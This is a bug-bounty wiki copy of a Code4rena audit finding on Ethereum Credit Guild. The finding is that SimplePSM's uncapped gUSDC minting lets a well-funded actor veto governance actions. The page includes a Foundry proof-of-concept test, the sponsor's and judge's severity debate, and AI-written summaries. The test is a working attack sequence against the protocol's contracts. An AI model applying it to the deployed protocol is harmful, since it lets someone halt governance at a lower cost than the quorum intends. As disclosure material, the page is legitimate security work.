Skip to content
Business logic Audit finding Advanced

RateLimitedMinter isn’t used by SimplePSM resulting in Governance attacks

The SimplePSM contract allows minting gUSDC without a rate limit, so an attacker with enough USDC can mint a large amount and use it to veto governance actions. The ProfitManager also does not replenish the RateLimitedMinter buffer, which could deplete the buffer for LendingTerm contracts.

critical-or-high Follow

Originally disclosed on Code4rena

Submitted by critical-or-high

The following contracts in the protocol doesn’t use RateLimitedMinter:

  • SimplePSM (actually, it imports but never uses RateLimitedMinter).
  • ProfitManager

For the SimplePSM case, it leads to governance attacks. An attacker with a sufficient USDC balance can exploit this by minting an unlimited amount of gUSDC tokens in SimplePSM using USDC, bypassing the protocol’s safety parameters (1, 2, 3). This allows the attacker to propose or veto certain actions, compromising the governance process.

In the ProfitManager contract, the notifyPnL() function burns credit tokens, but the RateLimitedMinter buffer is never replenished (ProfitManager doesn’t use rate limiter). On the other hand, the LendingTerm contract uses the RateLimitedMinter for minting credit tokens, resulting in the depletion of its buffer over time. This can lead to a shortage of tokens in the RateLimitedMinter buffer of LendingTerm contracts at some point.

Proof of Concept

  1. The GuildVetoGovernor contract allows to veto and cancel action in the queue by voting with gUSDC tokens. A quorum of 5 million gUSDC is required.
  2. Alice possesses 6 million USDC tokens. She takes advantage of the fact that the PSM contract does not utilize a rate limiter and mints 6 million gUSDC tokens in the PSM contract.
  3. Alice then utilizes her newly acquired gUSDC tokens to vote in the GuildVetoGovernor contract and cancel any action in the queue.
  4. Alice can do minting and voting swiftly. In that case ProfitManager.creditMultiplier doesn’t decline. This would allow Alice to redeem her 6 million USDC tokens back without any consequences.
    // SPDX-License-Identifier: GPL-3.0-or-later
    pragma solidity 0.8.13;

    import {Test} from "@forge-std/Test.sol";
    import {Core} from "@src/core/Core.sol";
    import {CoreRoles} from "@src/core/CoreRoles.sol";
    import {MockERC20} from "@test/mock/MockERC20.sol";
    import {SimplePSM} from "@src/loan/SimplePSM.sol";
    import {GuildToken} from "@src/tokens/GuildToken.sol";
    import {CreditToken} from "@src/tokens/CreditToken.sol";
    import {ProfitManager} from "@src/governance/ProfitManager.sol";
    import {ProfitManager} from "@src/governance/ProfitManager.sol";
    import {MockLendingTerm} from "@test/mock/MockLendingTerm.sol";

    import {IGovernor} from "@openzeppelin/contracts/governance/IGovernor.sol";
    import {GuildVetoGovernor} from "@src/governance/GuildVetoGovernor.sol";
    import {GuildTimelockController} from "@src/governance/GuildTimelockController.sol";

    import "@forge-std/console.sol";

    contract Poc4 is Test {
        Core private core;
        ProfitManager private profitManager;
        CreditToken credit;
        GuildToken guild;
        MockERC20 private pegToken;
        SimplePSM private psm;

        uint256 private constant _TIMELOCK_MIN_DELAY = 12345;

        GuildTimelockController private timelock;
        GuildVetoGovernor private vetoGovernor;

        uint256 __lastCallValue = 0;

        // From deployment script!

        uint256 private constant _VETO_QUORUM = 5_000_000e18;

        function setUp() public {
            vm.warp(1679067867);
            vm.roll(16848497);
            core = new Core();
            profitManager = new ProfitManager(address(core));
            credit = new CreditToken(address(core), "gUSDC", "gUSDC");
            guild = new GuildToken(address(core), address(profitManager));
            pegToken = new MockERC20(); // USDC
            pegToken.setDecimals(6);
            psm = new SimplePSM(
                address(core),
                address(profitManager),
                address(credit),
                address(pegToken)
            );

            timelock = new GuildTimelockController(
                address(core),
                _TIMELOCK_MIN_DELAY
            );

            // VetoGovernor for gUSDC
            vetoGovernor = new GuildVetoGovernor(
                address(core),
                address(timelock),
                address(credit),
                _VETO_QUORUM // 5Mil gUSDC
            );

            core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
            core.grantRole(CoreRoles.CREDIT_MINTER, address(psm));
            core.grantRole(CoreRoles.CREDIT_GOVERNANCE_PARAMETERS, address(this));

            core.createRole(CoreRoles.TIMELOCK_EXECUTOR, CoreRoles.GOVERNOR);
            core.grantRole(CoreRoles.TIMELOCK_EXECUTOR, address(0));
            core.createRole(CoreRoles.TIMELOCK_CANCELLER, CoreRoles.GOVERNOR);
            core.grantRole(CoreRoles.TIMELOCK_CANCELLER, address(vetoGovernor));
            core.createRole(CoreRoles.TIMELOCK_PROPOSER, CoreRoles.GOVERNOR);
            core.grantRole(CoreRoles.TIMELOCK_PROPOSER, address(this));

            core.renounceRole(CoreRoles.GOVERNOR, address(this));

            credit.setMaxDelegates(1);
        }

        function __dummyCall(uint256 val) external {
            __lastCallValue = val;
        }

        function _queueDummyTimelockAction(
            uint256 number
        ) internal returns (bytes32) {
            address[] memory targets = new address[](1);
            targets[0] = address(this);
            uint256[] memory values = new uint256[](1);
            bytes[] memory payloads = new bytes[](1);
            payloads[0] = abi.encodeWithSelector(
                Poc4.__dummyCall.selector,
                number
            );
            bytes32 predecessor = bytes32(0);
            bytes32 salt = keccak256(bytes("dummy call"));
            timelock.scheduleBatch(
                targets,
                values,
                payloads,
                predecessor,
                salt,
                _TIMELOCK_MIN_DELAY
            );
            bytes32 timelockId = timelock.hashOperationBatch(
                targets,
                values,
                payloads,
                0,
                salt
            );

            return timelockId;
        }

        function test_poc() public {
            address Alice = address(100);

            // Schedule an action in the timelock, Alice will veto it.
            bytes32 timelockId = _queueDummyTimelockAction(12345);

            // Afluent Alice has 6Mil of USDC and mints gUSDC in PSM
            // PSM isn't rate-limited (there is no cap)!
            pegToken.mint(Alice, 6_000_000e6);
            vm.startPrank(Alice);
            pegToken.approve(address(psm), 6_000_000e6);
            psm.mint(Alice, 6_000_000e6);

            // Alice has enough voting power!
            require(credit.balanceOf(Alice) > vetoGovernor.quorum(0));

            credit.delegate(Alice);

            // Alice creates a Veto proposal
            uint256 proposalId = vetoGovernor.createVeto(timelockId);

            vm.roll(block.number + 1);
            vm.warp(block.timestamp + 10);

            // Alice cast a vote against
            vetoGovernor.castVote(proposalId, uint8(GuildVetoGovernor.VoteType.Against));

            vm.roll(block.number + 1);
            vm.warp(block.timestamp + 10);

            (
                uint256 againstVotes,
                uint256 forVotes,
                uint256 abstainVotes
            ) = vetoGovernor.proposalVotes(
                proposalId
            );

            // There is a Quorum, Alice can execute Veto proposal
            require(againstVotes > vetoGovernor.quorum(0));

            vetoGovernor.executeVeto(timelockId);

            vm.stopPrank();
        }
    }

Put the Poc inside the test/unit/governance/Poc4.t.sol file and run it with the following command:

forge test --mp test/unit/governance/Poc4.t.sol --mt test_poc

Recommended Mitigation Steps

Use rate limiter across all contracts in the protocol when minting or burning Credit and Guild tokens.

Assessed type

Governance

eswak (Ethereum Credit Guild) acknowledged, but disagreed with severity and commented:

SimplePSM imports but never uses RateLimitedMinter.

Thanks for pointing out this unused import, it has been removed. To give context: we removed the use of rate limits in the PSM, because it opened a griefing vector for borrowers : before a term goes into liquidations, borrowers could borrow and deplete the buffer, preventing new PSM mints. Then nobody could mint fresh gUSDC in the PSM to bid in the auctions, and auctions could be forced into reporting bad debt (due to no one being able to hold gUSDC and bid).

The RateLimitedMinter’s hardCap only applies to borrows, so indeed there could be $10M of borrows in the system but $20M deposited by lenders in the PSM (leading to a 2x lower APR for depositors than what is paid by lenders), but that is the intended behavior and what allows the protocol to grow (redeemable tokens in the PSM is what invites new borrowers).

USDC depositors in the PSM can only veto new changes in a given market, they can not propose new changes or prevent a safe wind down of the market.

The ProfitManager does not replenish the buffer and that may be a low/QA finding, I’m not sure that needs a fix as this is only relating to the surplus buffer (that is expected to be small relative to the supply cap, because it is a percent of the percent of interest paid over time by the borrowed supply, and the buffer replenish speed is not expected to stay 0 for a long time on the credit token).

The finding states that Alice can mint in the PSM and participate in the veto process, then redeem swiftly before creditMultiplier goes down, but she essentially becomes a lender in the meantime and her USDC can be redeemed against by borrowers, and she could end up ‘stuck’ with her gUSDC. Perhaps the fact that the veto process is fast (Alice could be holding gUSDC for as low as 2 blocks) is a problem and the commitment is not enough and some kind of lock up should be added. I’ll mention my colleague @OneTrueKirk so he can weigh in on that.

In any case, I am disagreeing with the severity (no user funds are at risk when someone decides to veto all changes on a given market).

OneTrueKirk (Ethereum Credit Guild) commented:

I agree with Erwan’s assessment that the issue should be marked as medium rather than high, since no user funds can be stolen and only updates can be halted with a lower capital cost than intended by the quorum threshold. Lockup appears to be an effective mitigation.

TrungOre (judge) decreased severity to Medium

Blckhv (warden) commented:

@TrungOre - Even if such a user manages to execute such an attack and onboard a malicious term, it can be resolved for a short amount of time by executing offboard proposal and restricting users from borrowing from this term.

Sponsors mentioned that the funds cannot be redeemed because users will borrow part of them if the term has favorable conditions.

Can you please recheck?

TrungOre (judge) commented:

@Blckhv - Regarding sponsor’s statement, only the part about malicious voting action is accepted as med severity.

Note: For full discussion, see here.


The original report as published on Code4rena, by critical-or-high. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could veto governance actions with less capital than intended, but no user funds are at risk and the impact is limited to halting updates.

What the attacker needed

Sufficient USDC balance; ability to mint gUSDC in PSM; a queued governance action to veto

The fix

The unused import was removed, but the sponsor disagreed with adding rate limits to the PSM; a lockup on veto voting power was suggested as a mitigation.

How it was found

  1. An action is queued in the timelock.
  2. Alice mints 6 million gUSDC in the PSM using 6 million USDC.
  3. Alice delegates her gUSDC and creates a veto proposal.
  4. Alice votes against the proposal.
  5. Alice executes the veto, cancelling the queued action.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In this system, users can deposit USDC to get gUSDC, which is used for voting. The deposit step had no limit, so someone with a lot of USDC could get a lot of voting power quickly and block decisions. The report also notes that another part of the system burns tokens without refilling the limit, which could cause problems later.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by critical-or-high

View all

1 more disclosed report, best first.

More from Ethereum Credit Guild

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.